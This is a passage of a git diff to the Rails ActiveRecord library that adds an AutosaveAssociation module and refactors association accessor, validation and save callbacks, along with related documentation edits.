method_name = "belongs_to_counter_cache_after_create_for_#{reflection.name}".to_sym
define_method(method_name) do
@@ -1059,8 +1024,6 @@ module ActiveRecord
)
end
- add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true
-
configure_dependency_for_belongs_to(reflection)
end
@@ -1075,6 +1038,22 @@ module ActiveRecord
# but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the
# custom <tt>:join_table</tt> option if you need to.
#
+ # The join table should not have a primary key or a model associated with it. You must manually generate the
+ # join table with a migration such as this:
+ #
+ # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration
+ # def self.up
+ # create_table :developers_projects, :id => false do |t|
+ # t.integer :developer_id
+ # t.integer :project_id
+ # end
+ # end
+ #
+ # def self.down
+ # drop_table :developers_projects
+ # end
+ # end
+ #
# Deprecated: Any additional fields added to the join table will be placed as attributes when pulling records out through
# +has_and_belongs_to_many+ associations. Records returned from join tables with additional attributes will be marked as
# readonly (because we can't save changes to the additional attributes). It's strongly recommended that you upgrade any
@@ -1151,11 +1130,12 @@ module ActiveRecord
# [:foreign_key]
# Specify the foreign key used for the association. By default this is guessed to be the name
# of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_and_belongs_to_many+ association
- # will use "person_id" as the default <tt>:foreign_key</tt>.
+ # to Project will use "person_id" as the default <tt>:foreign_key</tt>.
# [:association_foreign_key]
- # Specify the association foreign key used for the association. By default this is
- # guessed to be the name of the associated class in lower-case and "_id" suffixed. So if the associated class is Project,
- # the +has_and_belongs_to_many+ association will use "project_id" as the default <tt>:association_foreign_key</tt>.
+ # Specify the foreign key used for the association on the receiving side of the association.
+ # By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
+ # So if a Person class makes a +has_and_belongs_to_many+ association to Project,
+ # the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
# [:conditions]
# Specify the conditions that the associated object must meet in order to be included as a +WHERE+
# SQL fragment, such as <tt>authorized = 1</tt>. Record creations from the association are scoped if a hash is used.
@@ -1196,6 +1176,8 @@ module ActiveRecord
# If true, all the associated objects are readonly through the association.
# [:validate]
# If false, don't validate the associated objects when saving the parent object. +true+ by default.
+ # [:autosave]
+ # If true, always save any loaded members and destroy members marked for destruction, when saving the parent object. Off by default.
#
# Option examples:
# has_and_belongs_to_many :projects
@@ -1207,9 +1189,6 @@ module ActiveRecord
# 'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}'
def has_and_belongs_to_many(association_id, options = {}, &extension)
reflection = create_has_and_belongs_to_many_reflection(association_id, options, &extension)
-
- add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false
- add_multiple_associated_save_callbacks(reflection.name)
collection_accessor_methods(reflection, HasAndBelongsToManyAssociation)
# Don't use a before_destroy callback since users' before_destroy
@@ -1243,33 +1222,30 @@ module ActiveRecord
end
def association_accessor_methods(reflection, association_proxy_class)
- ivar = "@#{reflection.name}"
-
define_method(reflection.name) do |*params|
force_reload = params.first unless params.empty?
-
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+ association = association_instance_get(reflection.name)
if association.nil? || force_reload
association = association_proxy_class.new(self, reflection)
retval = association.reload
if retval.nil? and association_proxy_class == BelongsToAssociation
- instance_variable_set(ivar, nil)
+ association_instance_set(reflection.name, nil)
return nil
end
- instance_variable_set(ivar, association)
+ association_instance_set(reflection.name, association)
end
association.target.nil? ? nil : association
end
define_method("loaded_#{reflection.name}?") do
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+ association = association_instance_get(reflection.name)
association && association.loaded?
end
define_method("#{reflection.name}=") do |new_value|
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+ association = association_instance_get(reflection.name)
if association.nil? || association.target != new_value
association = association_proxy_class.new(self, reflection)
@@ -1280,7 +1256,7 @@ module ActiveRecord
self.send(reflection.name, new_value)
else
association.replace(new_value)
- instance_variable_set(ivar, new_value.nil? ? nil : association)
+ association_instance_set(reflection.name, new_value.nil? ? nil : association)
end
end
@@ -1288,20 +1264,18 @@ module ActiveRecord
return if target.nil? and association_proxy_class == BelongsToAssociation
association = association_proxy_class.new(self, reflection)
association.target = target
- instance_variable_set(ivar, association)
+ association_instance_set(reflection.name, association)
end
end
def collection_reader_method(reflection, association_proxy_class)
define_method(reflection.name) do |*params|
- ivar = "@#{reflection.name}"
-
force_reload = params.first unless params.empty?
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+ association = association_instance_get(reflection.name)
- unless association.respond_to?(:loaded?)
+ unless association
association = association_proxy_class.new(self, reflection)
- instance_variable_set(ivar, association)
+ association_instance_set(reflection.name, association)
end
association.reload if force_reload
@@ -1336,86 +1310,15 @@ module ActiveRecord
end
end
- def add_single_associated_validation_callbacks(association_name)
- method_name = "validate_associated_records_for_#{association_name}".to_sym
- define_method(method_name) do
- association = instance_variable_get("@#{association_name}")
- if !association.nil?
- errors.add association_name unless association.target.nil? || association.valid?
- end
- end
-
- validate method_name
- end
-
- def add_multiple_associated_validation_callbacks(association_name)
- method_name = "validate_associated_records_for_#{association_name}".to_sym
- ivar = "@#{association_name}"
-
- define_method(method_name) do
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
- if association.respond_to?(:loaded?)
- if new_record?
- association
- elsif association.loaded?
- association.select { |record| record.new_record? }
- else
- association.target.select { |record| record.new_record? }
- end.each do |record|
- errors.add association_name unless record.valid?
- end
- end
- end
-
- validate method_name
- end
-
- def add_multiple_associated_save_callbacks(association_name)
- ivar = "@#{association_name}"
-
- method_name = "before_save_associated_records_for_#{association_name}".to_sym
- define_method(method_name) do
- @new_record_before_save = new_record?
- true
- end
- before_save method_name
-
- method_name = "after_create_or_update_associated_records_for_#{association_name}".to_sym
- define_method(method_name) do
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
-
- records_to_save = if @new_record_before_save
- association
- elsif association.respond_to?(:loaded?) && association.loaded?
- association.select { |record| record.new_record? }
- elsif association.respond_to?(:loaded?) && !association.loaded?
- association.target.select { |record| record.new_record? }
- else
- []
- end
- records_to_save.each { |record| association.send(:insert_record, record) } unless records_to_save.blank?
-
- # reconstruct the SQL queries now that we know the owner's id
- association.send(:construct_sql) if association.respond_to?(:construct_sql)
- end
-
- # Doesn't use after_save as that would save associations added in after_create/after_update twice
- after_create method_name
- after_update method_name
- end
-
def association_constructor_method(constructor, reflection, association_proxy_class)
define_method("#{constructor}_#{reflection.name}") do |*params|
- ivar = "@#{reflection.name}"
-
attributees = params.first unless params.empty?
replace_existing = params[1].nil? ? true : params[1]
- association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+ association = association_instance_get(reflection.name)
- if association.nil?
+ unless association
association = association_proxy_class.new(self, reflection)
- instance_variable_set(ivar, association)
+ association_instance_set(reflection.name, association)
end
if association_proxy_class == HasOneAssociation
@@ -1627,6 +1530,10 @@ module ActiveRecord
options[:extend] = create_extension_modules(association_id, extension, options[:extend])
reflection = create_reflection(:has_and_belongs_to_many, association_id, options, self)
+
+ if reflection.association_foreign_key == reflection.primary_key_name
+ raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(reflection)
+ end
reflection.options[:join_table] ||= join_table_name(undecorated_table_name(self.to_s), undecorated_table_name(reflection.class_name))
@@ -1949,9 +1856,10 @@ module ActiveRecord
def construct(parent, associations, joins, row)
case associations
when Symbol, String
- while (join = joins.shift).reflection.name.to_s != associations.to_s
- raise ConfigurationError, "Not Enough Associations" if joins.empty?
- end
+ join = joins.detect{|j| j.reflection.name.to_s == associations.to_s && j.parent_table_name == parent.class.table_name }
+ raise(ConfigurationError, "No such association") if join.nil?
+
+ joins.delete(join)
construct_association(parent, join, row)
when Array
associations.each do |association|
@@ -1959,7 +1867,11 @@ module ActiveRecord
end
when Hash
associations.keys.sort{|a,b|a.to_s<=>b.to_s}.each do |name|
- association = construct_association(parent, joins.shift, row)
+ join = joins.detect{|j| j.reflection.name.to_s == name.to_s && j.parent_table_name == parent.class.table_name }
+ raise(ConfigurationError, "No such association") if join.nil?
+
+ association = construct_association(parent, join, row)
+ joins.delete(join)
construct(association, associations[name], joins, row) if association
end
else
diff --git a/activerecord/lib/active_record/associations/association_collection.rb b/activerecord/lib/active_record/associations/association_collection.rb
index 0fefec1216..3aef1b21e9 100644
--- a/activerecord/lib/active_record/associations/association_collection.rb
+++ b/activerecord/lib/active_record/associations/association_collection.rb
@@ -60,7 +60,7 @@ module ActiveRecord
@reflection.klass.find(*args)
end
end
-
+
# Fetches the first one using SQL if possible.
def first(*args)
if fetch_first_or_last_using_find?(args)
@@ -143,6 +143,8 @@ module ActiveRecord
end
# Remove all records from this association
+ #
+ # See delete for more info.
def delete_all
load_target
delete(@target)
@@ -186,7 +188,6 @@ module ActiveRecord
end
end
-
# Removes +records+ from this association calling +before_remove+ and
# +after_remove+ callbacks.
#
@@ -195,22 +196,25 @@ module ActiveRecord
# are actually removed from the database, that depends precisely on
# +delete_records+. They are in any case removed from the collection.
def delete(*records)
- records = flatten_deeper(records)
- records.each { |record| raise_on_type_mismatch(record) }
-
- transaction do
- records.each { |record| callback(:before_remove, record) }
-
- old_records = records.reject {|r| r.new_record? }
+ remove_records(records) do |records, old_records|
delete_records(old_records) if old_records.any?
-
- records.each do |record|
- @target.delete(record)
- callback(:after_remove, record)
- end
+ records.each { |record| @target.delete(record) }
end
end
+ # Destroy +records+ and remove them from this association calling
+ # +before_remove+ and +after_remove+ callbacks.
+ #
+ # Note that this method will _always_ remove records from the database
+ # ignoring the +:dependent+ option.
+ def destroy(*records)
+ remove_records(records) do |records, old_records|
+ old_records.each { |record| record.destroy }
+ end
+
+ load_target
+ end
+
# Removes all records from this association. Returns +self+ so method calls may be chained.
def clear
return self if length.zero? # forces load_target if it hasn't happened already
@@ -223,15 +227,16 @@ module ActiveRecord
self
end
-
- def destroy_all
- transaction do
- each { |record| record.destroy }
- end
+ # Destory all the records from this association.
+ #
+ # See destroy for more info.
+ def destroy_all
+ load_target
+ destroy(@target)
reset_target!
end
-
+
def create(attrs = {})
if attrs.is_a?(Array)
attrs.collect { |attr| create(attr) }
@@ -431,6 +436,18 @@ module ActiveRecord
record
end
+ def remove_records(*records)
+ records = flatten_deeper(records)
+ records.each { |record| raise_on_type_mismatch(record) }
+
+ transaction do
+ records.each { |record| callback(:before_remove, record) }
+ old_records = records.reject { |r| r.new_record? }
+ yield(records, old_records)
+ records.each { |record| callback(:after_remove, record) }
+ end
+ end
+
def callback(method, record)
callbacks_for(method).each do |callback|
ActiveSupport::Callbacks::Callback.new(method, callback, record).call(@owner, record)
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
index a5cc3bf091..af9ce3dfb2 100644
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -28,12 +28,12 @@ module ActiveRecord
load_target.size
end
- def insert_record(record, force=true)
+ def insert_record(record, force = true, validate = true)
if record.new_record?
if force
record.save!
else
- return false unless record.save
+ return false unless record.save(validate)
end
end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index 3348079e9d..a2cbabfe0c 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -56,9 +56,9 @@ module ActiveRecord
"#{@reflection.name}_count"
end
- def insert_record(record)
+ def insert_record(record, force = false, validate = true)
set_belongs_to_association_for(record)
- record.save
+ force ? record.save! : record.save(validate)
end
# Deletes the records according to the <tt>:dependent</tt> option.
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index 2eeeb28d1f..1c091e7d5a 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -23,8 +23,8 @@ module ActiveRecord
end
# Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and
- # calling collection.size if it has. If it's more likely than not that the collection does have a size larger than zero
- # and you need to fetch that collection afterwards, it'll take one less SELECT query if you use length.
+ # calling collection.size if it has. If it's more likely than not that the collection does have a size larger than zero,
+ # and you need to fetch that collection afterwards, it'll take one fewer SELECT query if you use #length.
def size
return @owner.send(:read_attribute, cached_counter_attribute_name) if has_cached_counter?
return @target.size if loaded?
@@ -47,12 +47,12 @@ module ActiveRecord
options[:include] = @reflection.source_reflection.options[:include] if options[:include].nil?
end
- def insert_record(record, force=true)
+ def insert_record(record, force = true, validate = true)
if record.new_record?
if force
record.save!
else
- return false unless record.save
+ return false unless record.save(validate)
end
end
through_reflection = @reflection.through_reflection
@@ -150,7 +150,7 @@ module ActiveRecord
end
else
reflection_primary_key = @reflection.source_reflection.primary_key_name
- source_primary_key = @reflection.klass.primary_key
+ source_primary_key = @reflection.through_reflection.klass.primary_key
if @reflection.source_reflection.options[:as]
polymorphic_join = "AND %s.%s = %s" % [
@reflection.quoted_table_name, "#{@reflection.source_reflection.options[:as]}_type",
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index 960323004d..b92cbbdeab 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -29,8 +29,17 @@ module ActiveRecord
unless @target.nil? || @target == obj
if dependent? && !dont_save
- @target.destroy unless @target.new_record?
- @owner.clear_association_cache
+ case @reflection.options[:dependent]
+ when :delete
+ @target.delete unless @target.new_record?
+ @owner.clear_association_cache
+ when :destroy
+ @target.destroy unless @target.new_record?
+ @owner.clear_association_cache
+ when :nullify
+ @target[@reflection.primary_key_name] = nil
+ @target.save unless @owner.new_record? || @target.new_record?
+ end
else
@target[@reflection.primary_key_name] = nil
@target.save unless @owner.new_record? || @target.new_record?
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index 177d156834..3ffc48941c 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -324,6 +324,7 @@ module ActiveRecord
if Numeric === value || value !~ /[^0-9]/
!value.to_i.zero?
else
+ return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value)
!value.blank?
end
elsif column.number?
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
new file mode 100644
index 0000000000..741aa2acbe
--- /dev/null
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -0,0 +1,349 @@
+module ActiveRecord
+ # AutosaveAssociation is a module that takes care of automatically saving
+ # your associations when the parent is saved. In addition to saving, it
+ # also destroys any associations that were marked for destruction.
+ # (See mark_for_destruction and marked_for_destruction?)
+ #
+ # Saving of the parent, its associations, and the destruction of marked
+ # associations, all happen inside 1 transaction. This should never leave the
+ # database in an inconsistent state after, for instance, mass assigning
+ # attributes and saving them.
+ #
+ # If validations for any of the associations fail, their error messages will
+ # be applied to the parent.
+ #
+ # Note that it also means that associations marked for destruction won't
+ # be destroyed directly. They will however still be marked for destruction.
+ #
+ # === One-to-one Example
+ #
+ # Consider a Post model with one Author:
+ #
+ # class Post
+ # has_one :author, :autosave => true
+ # end
+ #
+ # Saving changes to the parent and its associated model can now be performed
+ # automatically _and_ atomically:
+ #
+ # post = Post.find(1)
+ # post.title # => "The current global position of migrating ducks"
+ # post.author.name # => "alloy"
+ #
+ # post.title = "On the migration of ducks"
+ # post.author.name = "Eloy Duran"
+ #
+ # post.save
+ # post.reload
+ # post.title # => "On the migration of ducks"
+ # post.author.name # => "Eloy Duran"
+ #
+ # Destroying an associated model, as part of the parent's save action, is as
+ # simple as marking it for destruction:
+ #
+ # post.author.mark_for_destruction
+ # post.author.marked_for_destruction? # => true
+ #
+ # Note that the model is _not_ yet removed from the database:
+ # id = post.author.id
+ # Author.find_by_id(id).nil? # => false
+ #
+ # post.save
+ # post.reload.author # => nil
+ #
+ # Now it _is_ removed from the database:
+ # Author.find_by_id(id).nil? # => true
+ #
+ # === One-to-many Example
+ #
+ # Consider a Post model with many Comments:
+ #
+ # class Post
+ # has_many :comments, :autosave => true
+ # end
+ #
+ # Saving changes to the parent and its associated model can now be performed
+ # automatically _and_ atomically:
+ #
+ # post = Post.find(1)
+ # post.title # => "The current global position of migrating ducks"
+ # post.comments.first.body # => "Wow, awesome info thanks!"
+ # post.comments.last.body # => "Actually, your article should be named differently."
+ #
+ # post.title = "On the migration of ducks"
+ # post.comments.last.body = "Actually, your article should be named differently. [UPDATED]: You are right, thanks."
+ #
+ # post.save
+ # post.reload
+ # post.title # => "On the migration of ducks"
+ # post.comments.last.body # => "Actually, your article should be named differently. [UPDATED]: You are right, thanks."
+ #
+ # Destroying one of the associated models members, as part of the parent's
+ # save action, is as simple as marking it for destruction:
+ #
+ # post.comments.last.mark_for_destruction
+ # post.comments.last.marked_for_destruction? # => true
+ # post.comments.length # => 2
+ #
+ # Note that the model is _not_ yet removed from the database:
+ # id = post.comments.last.id
+ # Comment.find_by_id(id).nil? # => false
+ #
+ # post.save
+ # post.reload.comments.length # => 1
+ #
+ # Now it _is_ removed from the database:
+ # Comment.find_by_id(id).nil? # => true
+ #
+ # === Validation
+ #
+ # Validation is performed on the parent as usual, but also on all autosave
+ # enabled associations. If any of the associations fail validation, its
+ # error messages will be applied on the parents errors object and validation
+ # of the parent will fail.
+ #
+ # Consider a Post model with Author which validates the presence of its name
+ # attribute:
+ #
+ # class Post
+ # has_one :author, :autosave => true
+ # end
+ #
+ # class Author
+ # validates_presence_of :name
+ # end
+ #
+ # post = Post.find(1)
+ # post.author.name = ''
+ # post.save # => false
+ # post.errors # => #<ActiveRecord::Errors:0x174498c @errors={"author_name"=>["can't be blank"]}, @base=#<Post ...>>
+ #
+ # No validations will be performed on the associated models when validations
+ # are skipped for the parent:
+ #
+ # post = Post.find(1)
+ # post.author.name = ''
+ # post.save(false) # => true
+ module AutosaveAssociation
+ ASSOCIATION_TYPES = %w{ has_one belongs_to has_many has_and_belongs_to_many }
+
+ def self.included(base)
+ base.class_eval do
+ base.extend(ClassMethods)
+ alias_method_chain :reload, :autosave_associations
+
+ ASSOCIATION_TYPES.each do |type|
+ base.send("valid_keys_for_#{type}_association") << :autosave
+ end
+ end
+ end
+
+ module ClassMethods
+ private
+
+ # def belongs_to(name, options = {})
+ # super
+ # add_autosave_association_callbacks(reflect_on_association(name))
+ # end
+ ASSOCIATION_TYPES.each do |type|
+ module_eval %{
+ def #{type}(name, options = {})
+ super
+ add_autosave_association_callbacks(reflect_on_association(name))
+ end
+ }
+ end
+
+ # Adds a validate and save callback for the association as specified by
+ # the +reflection+.
+ def add_autosave_association_callbacks(reflection)
+ save_method = "autosave_associated_records_for_#{reflection.name}"
+ validation_method = "validate_associated_records_for_#{reflection.name}"
+ validate validation_method
+
+ case reflection.macro
+ when :has_many, :has_and_belongs_to_many
+ before_save :before_save_collection_association
+
+ define_method(save_method) { save_collection_association(reflection) }
+ # Doesn't use after_save as that would save associations added in after_create/after_update twice
+ after_create save_method
+ after_update save_method
+
+ define_method(validation_method) { validate_collection_association(reflection) }
+ else
+ case reflection.macro
+ when :has_one
+ define_method(save_method) { save_has_one_association(reflection) }
+ after_save save_method
+ when :belongs_to
+ define_method(save_method) { save_belongs_to_association(reflection) }
+ before_save save_method
+ end
+ define_method(validation_method) { validate_single_association(reflection) }
+ end
+ end
+ end
+
+ # Reloads the attributes of the object as usual and removes a mark for destruction.
+ def reload_with_autosave_associations(options = nil)
+ @marked_for_destruction = false
+ reload_without_autosave_associations(options)
+ end
+
+ # Marks this record to be destroyed as part of the parents save transaction.
+ # This does _not_ actually destroy the record yet, rather it will be destroyed when <tt>parent.save</tt> is called.
+ #
+ # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+ def mark_for_destruction
+ @marked_for_destruction = true
+ end
+
+ # Returns whether or not this record will be destroyed as part of the parents save transaction.
+ #
+ # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+ def marked_for_destruction?
+ @marked_for_destruction
+ end
+
+ private
+
+ # Returns the record for an association collection that should be validated
+ # or saved. If +autosave+ is +false+ only new records will be returned,
+ # unless the parent is/was a new record itself.
+ def associated_records_to_validate_or_save(association, new_record, autosave)
+ if new_record
+ association
+ elsif association.loaded?
+ autosave ? association : association.select { |record| record.new_record? }
+ else
+ autosave ? association.target : association.target.select { |record| record.new_record? }
+ end
+ end
+
+ # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+ # turned on for the association specified by +reflection+.
+ def validate_single_association(reflection)
+ if reflection.options[:validate] == true || reflection.options[:autosave] == true
+ if (association = association_instance_get(reflection.name)) && !association.target.nil?
+ association_valid?(reflection, association)
+ end
+ end
+ end
+
+ # Validate the associated records if <tt>:validate</tt> or
+ # <tt>:autosave</tt> is turned on for the association specified by
+ # +reflection+.
+ def validate_collection_association(reflection)
+ if reflection.options[:validate] != false && association = association_instance_get(reflection.name)
+ if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+ records.each { |record| association_valid?(reflection, record) }
+ end
+ end
+ end
+
+ # Returns whether or not the association is valid and applies any errors to
+ # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+ # enabled records if they're marked_for_destruction?.
+ def association_valid?(reflection, association)
+ unless valid = association.valid?
+ if reflection.options[:autosave]
+ unless association.marked_for_destruction?
+ association.errors.each do |attribute, message|
+ attribute = "#{reflection.name}_#{attribute}"
+ errors.add(attribute, message) unless errors.on(attribute)
+ end
+ end
+ else
+ errors.add(reflection.name)
+ end
+ end
+ valid
+ end
+
+ # Is used as a before_save callback to check while saving a collection
+ # association whether or not the parent was a new record before saving.
+ def before_save_collection_association
+ @new_record_before_save = new_record?
+ true
+ end
+
+ # Saves any new associated records, or all loaded autosave associations if
+ # <tt>:autosave</tt> is enabled on the association.
+ #
+ # In addition, it destroys all children that were marked for destruction
+ # with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ autosave = reflection.options[:autosave]
+
+ if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+ records.each do |record|
+ if autosave && record.marked_for_destruction?
+ association.destroy(record)
+ elsif @new_record_before_save || record.new_record?
+ if autosave
+ association.send(:insert_record, record, false, false)
+ else
+ association.send(:insert_record, record)
+ end
+ elsif autosave
+ record.save(false)
+ end
+ end
+ end
+
+ # reconstruct the SQL queries now that we know the owner's id
+ association.send(:construct_sql) if association.respond_to?(:construct_sql)
+ end
+ end
+
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+ # on the association.
+ #
+ # In addition, it will destroy the association if it was marked for
+ # destruction with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_has_one_association(reflection)
+ if (association = association_instance_get(reflection.name)) && !association.target.nil?
+ if reflection.options[:autosave] && association.marked_for_destruction?
+ association.destroy
+ elsif new_record? || association.new_record? || association[reflection.primary_key_name] != id || reflection.options[:autosave]
+ association[reflection.primary_key_name] = id
+ association.save(false)
+ end
+ end
+ end
+
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+ # on the association.
+ #
+ # In addition, it will destroy the association if it was marked for
+ # destruction with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_belongs_to_association(reflection)
+ if association = association_instance_get(reflection.name)
+ if reflection.options[:autosave] && association.marked_for_destruction?
+ association.destroy
+ else
+ association.save(false) if association.new_record? || reflection.options[:autosave]
+
+ if association.updated?
+ self[reflection.primary_key_name] = association.id
+ # TODO: Removing this code doesn't seem to matter…
+ if reflection.options[:polymorphic]
+ self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s
+ end
+ end
+ end
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index 0efccb66ee..9943a7014a 100755
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -416,7 +416,7 @@ module ActiveRecord #:nodoc:
end
@@subclasses = {}
-
+
##
# :singleton-method:
# Contains the database configuration - as is typically stored in config/database.yml -
@@ -661,9 +661,8 @@ module ActiveRecord #:nodoc:
connection.select_all(sanitize_sql(sql), "#{name} Load").collect! { |record| instantiate(record) }
end
-
# Returns true if a record exists in the table that matches the +id+ or
- # conditions given, or false otherwise. The argument can take four forms:
+ # conditions given, or false otherwise. The argument can take five forms:
#
# * Integer - Finds the record with this primary key.
# * String - Finds the record with a primary key corresponding to this
@@ -672,6 +671,7 @@ module ActiveRecord #:nodoc:
# (such as <tt>['color = ?', 'red']</tt>).
# * Hash - Finds the record that matches these +find+-style conditions
# (such as <tt>{:color => 'red'}</tt>).
+ # * No args - Returns false if the table is empty, true otherwise.
#
# For more information about specifying conditions as a Hash or Array,
# see the Conditions section in the introduction to ActiveRecord::Base.
@@ -685,7 +685,8 @@ module ActiveRecord #:nodoc:
# Person.exists?('5')
# Person.exists?(:name => "David")
# Person.exists?(['name LIKE ?', "%#{query}%"])
- def exists?(id_or_conditions)
+ # Person.exists?
+ def exists?(id_or_conditions = {})
connection.select_all(
construct_finder_sql(
:select => "#{quoted_table_name}.#{primary_key}",
@@ -735,12 +736,12 @@ module ActiveRecord #:nodoc:
# ==== Parameters
#
# * +id+ - This should be the id or an array of ids to be updated.
- # * +attributes+ - This should be a Hash of attributes to be set on the object, or an array of Hashes.
+ # * +attributes+ - This should be a hash of attributes to be set on the object, or an array of hashes.
#
# ==== Examples
#
# # Updating one record:
- # Person.update(15, { :user_name => 'Samuel', :group => 'expert' })
+ # Person.update(15, :user_name => 'Samuel', :group => 'expert')
#
# # Updating multiple records:
# people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
@@ -809,25 +810,28 @@ module ActiveRecord #:nodoc:
# Updates all records with details given if they match a set of conditions supplied, limits and order can
# also be supplied. This method constructs a single SQL UPDATE statement and sends it straight to the
- # database. It does not instantiate the involved models and it does not trigger Active Record callbacks.
+ # database. It does not instantiate the involved models and it does not trigger Active Record callbacks
+ # or validations.
#
# ==== Parameters
#
- # * +updates+ - A string of column and value pairs that will be set on any records that match conditions. This creates the SET clause of the generated SQL.
- # * +conditions+ - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro for more info.
+ # * +updates+ - A string, array, or hash representing the SET part of an SQL statement.
+ # * +conditions+ - A string, array, or hash representing the WHERE part of an SQL statement. See conditions in the intro.
# * +options+ - Additional options are <tt>:limit</tt> and <tt>:order</tt>, see the examples for usage.
#
# ==== Examples
#
- # # Update all billing objects with the 3 different attributes given
- # Billing.update_all( "category = 'authorized', approved = 1, author = 'David'" )
+ # # Update all customers with the given attributes
+ # Customer.update_all :wants_email => true
#
- # # Update records that match our conditions
- # Billing.update_all( "author = 'David'", "title LIKE '%Rails%'" )
+ # # Update all books with 'Rails' in their title
+ # Book.update_all "author = 'David'", "title LIKE '%Rails%'"
#
- # # Update records that match our conditions but limit it to 5 ordered by date
- # Billing.update_all( "author = 'David'", "title LIKE '%Rails%'",
- # :order => 'created_at', :limit => 5 )
+ # # Update all avatars migrated more than a week ago
+ # Avatar.update_all ['migrated_at = ?, Time.now.utc], ['migrated_at > ?', 1.week.ago]
+ #
+ # # Update all books that match our conditions, but limit it to 5 ordered by date
+ # Book.update_all "author = 'David'", "title LIKE '%Rails%'", :order => 'created_at', :limit => 5
def update_all(updates, conditions = nil, options = {})
sql = "UPDATE #{quoted_table_name} SET #{sanitize_sql_for_assignment(updates)} "
@@ -884,7 +888,8 @@ module ActiveRecord #:nodoc:
# Deletes the records matching +conditions+ without instantiating the records first, and hence not
# calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that
# goes straight to the database, much more efficient than +destroy_all+. Be careful with relations
- # though, in particular <tt>:dependent</tt> rules defined on associations are not honored.
+ # though, in particular <tt>:dependent</tt> rules defined on associations are not honored. Returns
+ # the number of rows affected.
#
# ==== Parameters
#
@@ -1000,7 +1005,6 @@ module ActiveRecord #:nodoc:
update_counters(id, counter_name => -1)
end
-
# Attributes named in this macro are protected from mass-assignment,
# such as <tt>new(attributes)</tt>,
# <tt>update_attributes(attributes)</tt>, or
@@ -1101,7 +1105,6 @@ module ActiveRecord #:nodoc:
read_inheritable_attribute(:attr_serialized) or write_inheritable_attribute(:attr_serialized, {})
end
-
# Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
# directly from ActiveRecord::Base. So if the hierarchy looks like: Reply < Message < ActiveRecord::Base, then Message is used
# to guess the table name even when called on Reply. The rules used to do the guess are handled by the Inflector class
@@ -1344,7 +1347,7 @@ module ActiveRecord #:nodoc:
subclasses.each { |klass| klass.reset_inheritable_attributes; klass.reset_column_information }
end
- def self_and_descendents_from_active_record#nodoc:
+ def self_and_descendants_from_active_record#nodoc:
klass = self
classes = [klass]
while klass != klass.base_class
@@ -1364,7 +1367,7 @@ module ActiveRecord #:nodoc:
# module now.
# Specify +options+ with additional translating options.
def human_attribute_name(attribute_key_name, options = {})
- defaults = self_and_descendents_from_active_record.map do |klass|
+ defaults = self_and_descendants_from_active_record.map do |klass|
:"#{klass.name.underscore}.#{attribute_key_name}"
end
defaults << options[:default] if options[:default]
